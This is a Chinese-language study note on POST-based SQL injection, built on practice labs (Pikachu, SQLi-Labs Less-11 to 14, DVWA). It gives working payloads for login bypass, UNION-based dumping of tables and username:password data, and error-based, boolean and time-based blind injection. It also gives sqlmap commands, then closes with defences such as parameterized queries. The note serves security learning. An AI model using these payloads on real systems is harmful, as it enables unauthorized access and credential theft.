SQL注入之Post注入学习笔记
一、什么是Post注入
Post注入是SQL注入中最常见的类型之一。它的核心特征与Get注入不同:Get注入通过URL的查询字符串(问号后面的部分)传递数据,而Post注入通过HTTP请求的消息体(Body)传递数据。 在Post注入中,攻击数据被放在POST请求的参数中提交给服务器,服务器端接收这些参数后拼接到SQL语句中执行,如果未做有效防御,就会触发注入漏洞。
Post注入的适用场景
Post注入在以下场景中极其常见:
用户登录功能(用户名和密码通过POST提交)
搜索功能(搜索关键词通过POST提交,尤其是高级搜索)
注册功能(用户填写的注册信息通过POST提交)
数据提交类功能(表单提交、评论发布、信息修改等)
文件上传功能(上传时的附加参数)
任何使用 method=“POST” 的HTML表单提交场景
Post注入的核心要素
Post注入需要满足以下几个条件:
目标网站存在POST请求的接口(如表单提交)
服务器端接收POST参数后拼接到SQL语句中执行
目标没有对POST参数进行有效的过滤或转义
攻击者能够修改POST请求的数据(使用Burp Suite或浏览器开发者工具)
二、Post注入的基本原理
- Post请求与Get请求的对比
维度 Get请求 Post请求
参数位置 URL查询字符串(?后) 请求体(Body)中
参数可见性 地址栏可见 地址栏不可见
数据长度限制 有限制(约2048字符) 无限制
缓存 可以被缓存 一般不被缓存
安全性 较低(数据暴露在URL中) 较高(数据不在URL中)
典型场景 查询、跳转 登录、注册、提交数据
注入检测难度 较容易(直接看URL) 较难(需要抓包分析)
- Post注入的执行流程
正常情况:
用户提交表单,POST参数为 username=admin&password=123456。服务器端接收参数:
$username=$_POST['username'];$password=$_POST['password'];$sql="SELECT * FROM users WHERE username='$username' AND password='$password'";攻击情况:
攻击者修改POST参数为 username=admin’ OR ‘1’='1&password=123456。SQL语句变为:
SELECT*FROMusersWHEREusername='admin'OR'1'='1'ANDpassword='123456'由于 ‘1’=‘1’ 永远为真,攻击者成功绕过了登录验证。
- Post注入的常见注入点
$_POST[‘username’]:登录框、注册框
$_POST[‘keyword’]:搜索框
$_POST[‘id’]:提交的ID值
$_POST[‘content’]:评论内容、文章内容
$_POST[‘title’]:标题
$_POST[‘email’]:邮箱
· 任何通过POST方式提交的字段
三、Post注入靶场实例
- Pikachu靶场 - Post注入关卡
Pikachu靶场设置了专门的Post注入关卡,非常直观易懂。
环境说明:
靶场地址:本地搭建的Pikachu环境下的“SQL-Inject - post注入”关卡
界面:一个登录框,包含用户名和密码两个输入字段
漏洞利用过程:
第一步:判断注入点
在用户名框输入 admin’,密码随意,点击登录。如果页面出现MySQL报错信息,说明用户名框存在SQL注入漏洞。
如果在用户名框输入 admin’ AND ‘1’=‘1,密码随意,登录成功进入用户页面。这说明注入确实存在且用户名框是注入点。如果输入 admin’ AND ‘1’='2 登录失败,进一步确认了漏洞的存在。
第二步:获取字段数
使用联合查询。构造POST数据:username=admin’ union select 1,2,3#&password=123。返回页面显示数字 2 和 3,说明查询有三个字段,并且第2、3个位置可以显示数据。这是Post注入获取数据的起点。
第三步:获取数据库名
修改Payload:username=admin’ union select 1,database(),3#&password=123
如果页面显示了数据库名(如 pikachu),说明注入成功。
第四步:获取表名和列名
获取表名:
username=admin' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#&password=123获取列名(以 users 表为例):
username=admin' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'#&password=123第五步:获取数据
username=admin' union select 1,group_concat(username,':',password),3 from users#&password=123- SQLi-Labs靶场 - Less-11至Less-14
SQLi-Labs的Less-11到Less-14都是Post注入关卡,难度逐步递进。
Less-11(基于错误的POST注入):
本关是Post注入的入门关卡,类似Pikachu的Post注入,使用单引号测试。
登录界面,输入 admin’ AND ‘1’=‘1 登录成功,admin’ AND ‘1’='2 登录失败,说明存在注入。
使用联合查询获取数据:
username=admin' union select 1,database()#&password=123注意,在Less-11中,页面只显示登录成功或失败,不显示具体数据,所以即使union查询成功也无法直接看到结果。需要结合报错注入或盲注。
使用报错注入获取数据库名:
username=admin' AND updatexml(1, concat(0x7e, database(), 0x7e), 1)#&password=123如果页面报错信息中出现了数据库名,说明报错注入成功。
Less-12(基于错误的POST注入-双引号):
本关与Less-11类似,但SQL语句中使用的是双引号而不是单引号。
测试:admin" AND “1”=“1 登录成功,admin” AND “1”="2 登录失败。
使用报错注入:
username=admin" AND updatexml(1, concat(0x7e, database(), 0x7e), 1)#&password=123Less-13(基于布尔的POST盲注):
本关的Post注入不再显示报错信息,需要通过页面响应的差异来判断注入是否成功。
测试:admin’ AND ‘1’=‘1 登录成功(或显示“登录成功”),admin’ AND ‘1’='2 登录失败(或显示“登录失败”)。根据这两种状态的差异,可以进行布尔盲注。
布尔盲注Payload:
username=admin' AND ascii(substr(database(),1,1)) > 100#&password=123如果页面返回“登录成功”,说明条件为真;返回“登录失败”,说明条件为假。
Less-14(基于时间的POST盲注):
本关页面无论输入什么都不会显示明显的差异,需要使用时间盲注。
测试:admin’ AND SLEEP(5)#,如果页面响应延迟了5秒,说明注入存在。
时间盲注Payload:
username=admin' AND IF(ascii(substr(database(),1,1)) > 100, SLEEP(5), 0)#&password=123- DVWA靶场 - SQL Injection (POST)
DVWA的SQL Injection模块同时支持GET和POST两种方式提交。在DVWA中,可以切换难度级别(Low/Medium/High/Impossible),观察不同防护级别下POST注入的效果。
Low级别:
在输入框输入 1’,如果页面出现报错,说明存在注入。使用联合查询获取数据,方法与GET注入类似,只是提交方式从URL改为了表单。
输入 1’ union select 1,database()#,页面显示当前数据库名。
Medium级别:
Medium级别对输入做了部分过滤(如转义特殊字符),但仍然存在注入漏洞。可以使用宽字节注入或其他绕过方式。
High级别:
High级别在代码层面进行了更严格的限制,但仍然可以通过某些方式绕过。
Impossible级别:
Impossible级别使用了参数化查询,从代码层面彻底杜绝了注入,此时无论如何输入都不会触发注入漏洞。
四、Post注入的检测与利用工具
- Burp Suite
Burp Suite是检测Post注入最常用的工具。
检测步骤:
使用Proxy模块拦截POST请求
将请求发送到Repeater模块
修改POST参数的值,插入测试Payload
发送请求,观察响应差异
根据响应判断是否存在注入
实战示例:
拦截登录请求,原始POST数据为:
username=admin&password=123456&submit=Login修改为:
username=admin' OR '1'='1&password=123456&submit=Login如果返回登录成功,说明存在注入。
- HackBar插件
HackBar是浏览器的开发者工具插件(Firefox和Chrome均有),可以直接在浏览器中修改和重放POST请求,适合快速测试。
使用步骤:
在HackBar中切换到POST模式
输入目标URL
在POST Body中输入参数字符串
添加Payload进行测试
点击Execute发送请求查看响应
- sqlmap
sqlmap可以通过 --data 参数指定POST数据,自动化检测Post注入。
基础命令:
# 基本Post注入检测sqlmap-u"http://example.com/login.php"--data="username=admin&password=123456"# 指定参数进行注入sqlmap-u"http://example.com/login.php"--data="username=admin&password=123456"-pusername# 获取数据库名sqlmap-u"http://example.com/login.php"--data="username=admin&password=123456"--dbs# 获取当前数据库的表名sqlmap-u"http://example.com/login.php"--data="username=admin&password=123456"-Dpikachu--tables五、Post注入的防御措施
Post注入的防御思路与Get注入完全一致,核心是使用参数化查询和输入验证。
最根本的防御措施:
对所有从 $_POST(PHP)、request.getParameter()(Java)等获取的数据使用参数化查询
在接收到POST数据后,进行严格的格式校验和类型检查
不要直接在SQL语句中拼接POST数据,无论其来源看起来多么“可信”
具体防御方案:
使用参数化查询(PreparedStatement)处理所有SQL查询
使用正则表达式对输入进行格式校验(如数字、邮箱、手机号等)
对字符串类型的输入进行转义处理
数据库账号遵循最小权限原则
关闭数据库错误回显,避免信息泄露
